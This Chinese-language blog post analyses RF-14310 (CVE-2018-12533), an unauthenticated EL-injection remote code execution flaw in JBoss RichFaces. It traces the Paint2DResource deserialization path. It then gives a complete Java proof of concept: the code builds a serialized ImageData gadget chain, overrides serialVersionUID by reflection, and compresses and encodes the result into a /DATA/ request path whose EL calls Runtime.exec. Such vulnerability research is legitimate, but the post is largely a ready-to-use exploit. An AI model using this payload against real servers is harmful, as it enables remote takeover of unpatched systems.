RF-14310(CVE-2018-12533)分析

作者:lucifaer

作者博客:https://www.lucifaer.com/

RF-14310,另一个RichFaces的漏洞,利用面要比CVE-14667广。

0x00 漏洞概述

JBoss RichFaces 3.1.0 through 3.3.4 allows unauthenticated remote attackers to inject expression language (EL) expressions and execute arbitrary Java code via a /DATA/ substring in a path with an org.richfaces.renderkit.html.Paint2DResource$ImageData object, aka RF-14310.

根据漏洞描述,可以知道漏洞可以通过org.richfaces.renderkit.html.Paint2DResource$ImageData对象注入EL表达式来完成远程任意代码执行的漏洞。

0x01 整体触发流程

这个漏洞是在CVE-2018-14667之前爆出的,CVE-2018-14667的触发流程和其非常相似所以只谈几个较为重要的点。

总体来说这个洞还是出现在RichFaces资源加载的地方,可以说14667是这个漏洞的另一种利用方式。

当一个资源请求被调用时就会调用org.ajax4jsf.resource.ResourceLifecycle类,而在该类中实现资源发送的方法是send,在send中主要的功能由sendResource方法实现,而在sendResource又存在一个关键性的send方法:

img

img

img

我们看一下send方法的继承类:

img

在CVE-2018-14667中可以使用UserResourcesend触发点来执行EL表达式,而在RF-14310中是利用Paint2DResource来执行EL表达式的。

0x02 漏洞分析

重复的反序列化那一部分就不再赘述,主要看触发流程。

2.1 反序列化流程

根据0x01中的继承关系,我们直接看漏洞触发点Paint2DResource这个类的send方法:

img

可以看到这里的ImageData同样来自于restoreData这个方法,而这个方法同样是利用getResourceData来从resourceData映射中获取资源,而setResourceData的过程同样在org.ajax4jsf.resource.InternetResourceService$serviceResource中。

img

所以反序列化流程是和CVE-2018-14667相同的。

2.2 EL执行点

跟进MethodBindinginvoke方法:

img

可以看到在MethodBinding调用invoke之前,MethodBinding就已经执行了EL表达式。也就是说可以在ImageData_paint属性中加入我们的EL表达式,下个断点来证明我们的想法:

img

值得注意的是,在构造poc时,需要使用MethodExpression的对象,这就意味着需要附加一个针对不同Tomcat版本的ssid(serialVersionUID)。

2.3 触发流程

就像0x01中所说的一样,在加载资源类时都会调用,和CVE-2018-14667不同的是,RF-14310利用时并不需要资源对象为缓存类对象,同时对于资源请求的标签没有限制,没有要求InternetResource必须为userResource

img

所以说可以直接发包调用资源触发漏洞。

0x03 构造POC

和CVE-2018-14667相同的部分就不重复说了,以下就谈一下写这个POC需要注意的几个点。

3.1 suid(serialVersionUID)的限制

suid的主要作用简单来说就是保证序列化对象与反序列化对象的一致性,在richfaces中是调用javax.el.*来实现的,而不是调用lib中的org.jboss.el.*来实现的,所以在写poc时最好利用反射把javax.el.MethodExpression中的serialVersionUID重写一下,保证在面对不同容器版本时设置不同的serialVersionUID

// tomcat8.5.24 MethodExpression serialVersionUID

Long MethodExpressionSerialVersionUID = 8163925562047324656L;

Class clazz = Class.forName("javax.el.MethodExpression");

Field field = clazz.getField("serialVersionUID");

field.setAccessible(true);

Field modifiersField = Field.class.getDeclaredField("modifiers");

modifiersField.setAccessible(true);

modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);

field.setLong(null, MethodExpressionSerialVersionUID);

当然也可以手动导入不同版本容器的el-api.jar来实现。

3.2 选择合适的利用链

我根据CVE-2018-14667的poc选择了:

javax.faces.component.StateHolderSaver

com.sun.facelets.el.LegacyMethodBinding

com.sun.facelets.el.TagMethodExpression

com.sun.facelets.tag.TagAttribute

org.jboss.el.MethodExpressionImpl

expr = poc

这个是我觉得最简单的一个利用链了,当然在LegacyMethodBinding可以换成除了ConstantMethodBindingSimpleActionMethodBinding的任意一个。

3.3 利用反射给private static final对象赋值

其实问题的关键点在于如何利用反射去给

public class public class Paint2DResource extends InternetResourceBase{

private static final class ImageData implements SerializableResource{

}

}

这样的类型赋值,同时要注意到private static final class ImageData是没有无参,无构造函数的私有类,所以没有办法直接通过getDeclaredClass()直接获取。方法就是首先反射创建Paint2DResource对象:

Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");

Class innerClazz[] = clzz.getDeclaredClasses();

这里的getDeclaredClasses返回Paint2DResource的所有构造器,之后遍历该对象中所有的构造器找到构造器名称中带有private的构造器,然后进行赋值操作:

for (Class c : innerClazz){

int mod = c.getModifiers();

String modifier = Modifier.toString(mod);

if (modifier.contains("private")){

Constructor cc = c.getDeclaredConstructor();

cc.setAccessible(true);

Object imageData = cc.newInstance(null);

Field _widthField = imageData.getClass().getDeclaredField("_width");

_widthField.setAccessible(true);

_widthField.set(imageData, 300);

这里需要注意c.getDeclaredConstructor()参数应为空说明获得的是一个无参的构造器,而cc.newInstance(null)参数为null说明实例化的是一个无构造函数的对象。

完整版POC

import com.sun.facelets.el.LegacyMethodBinding;

import com.sun.facelets.el.TagMethodExpression;

import com.sun.facelets.tag.TagAttribute;

import com.sun.facelets.tag.Location;

import org.ajax4jsf.util.base64.URL64Codec;

import org.jboss.el.MethodExpressionImpl;

import javax.faces.context.FacesContext;

import javax.faces.el.MethodBinding;

import java.io.ByteArrayOutputStream;

import java.io.ObjectOutputStream;

import java.io.OutputStream;

import java.lang.reflect.Constructor;

import java.lang.reflect.Field;

import java.lang.reflect.Modifier;

import java.util.zip.Deflater;

public class CVE_2018_12533 {

public static void main(String[] args) throws Exception{

String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}";

// 根据文章https://www.anquanke.com/post/id/160338

Class cls = Class.forName("javax.faces.component.StateHolderSaver");

Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);

ct.setAccessible(true);

Location location = new Location("", 0, 0);

TagAttribute tagAttribute = new TagAttribute(location, "", "", "", "createContent="+pocEL);

// 1. 设置ImageData

// 构造ImageData_paint

MethodExpressionImpl methodExpression = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});

TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, methodExpression);

MethodBinding methodBinding = new LegacyMethodBinding(tagMethodExpression);

Object _paint = ct.newInstance(null, methodBinding);

Class clzz = Class.forName("org.richfaces.renderkit.html.Paint2DResource");

Class innerClazz[] = clzz.getDeclaredClasses();

for (Class c : innerClazz){

int mod = c.getModifiers();

String modifier = Modifier.toString(mod);

if (modifier.contains("private")){

Constructor cc = c.getDeclaredConstructor();

cc.setAccessible(true);

Object imageData = cc.newInstance(null);

// 设置ImageData_width

Field _widthField = imageData.getClass().getDeclaredField("_width");

_widthField.setAccessible(true);

_widthField.set(imageData, 300);

// 设置ImageData_height

Field _heightField = imageData.getClass().getDeclaredField("_height");

_heightField.setAccessible(true);

_heightField.set(imageData, 120);

// 设置ImageData_data

Field _dataField = imageData.getClass().getDeclaredField("_data");

_dataField.setAccessible(true);

_dataField.set(imageData, null);

// 设置ImageData_format

Field _formatField = imageData.getClass().getDeclaredField("_format");

_formatField.setAccessible(true);

_formatField.set(imageData, 2);

// 设置ImageData_paint

Field _paintField = imageData.getClass().getDeclaredField("_paint");

_paintField.setAccessible(true);

_paintField.set(imageData, _paint);

// 设置ImageData_paint

Field cacheableField = imageData.getClass().getDeclaredField("cacheable");

cacheableField.setAccessible(true);

cacheableField.set(imageData, false);

// 设置ImageData_bgColor

Field _bgColorField = imageData.getClass().getDeclaredField("_bgColor");

_bgColorField.setAccessible(true);

_bgColorField.set(imageData, 0);

// 2. 序列化

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);

objectOutputStream.writeObject(imageData);

objectOutputStream.flush();

objectOutputStream.close();

byteArrayOutputStream.close();

// 3. 加密(zip+base64)

byte[] pocData = byteArrayOutputStream.toByteArray();

Deflater compressor = new Deflater(1);

byte[] compressed = new byte[pocData.length + 100];

compressor.setInput(pocData);

compressor.finish();

int totalOut = compressor.deflate(compressed);

byte[] zipsrc = new byte[totalOut];

System.arraycopy(compressed, 0, zipsrc, 0, totalOut);

compressor.end();

byte[]dataArray = URL64Codec.encodeBase64(zipsrc);

// 4. 打印最后的poc

String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";

System.out.println(poc);

}

}

}

}

效果:

-w1279

0x04 Reference

以上是 RF-14310(CVE-2018-12533)分析 的全部内容, 来源链接: utcz.com/p/199181.html

回到顶部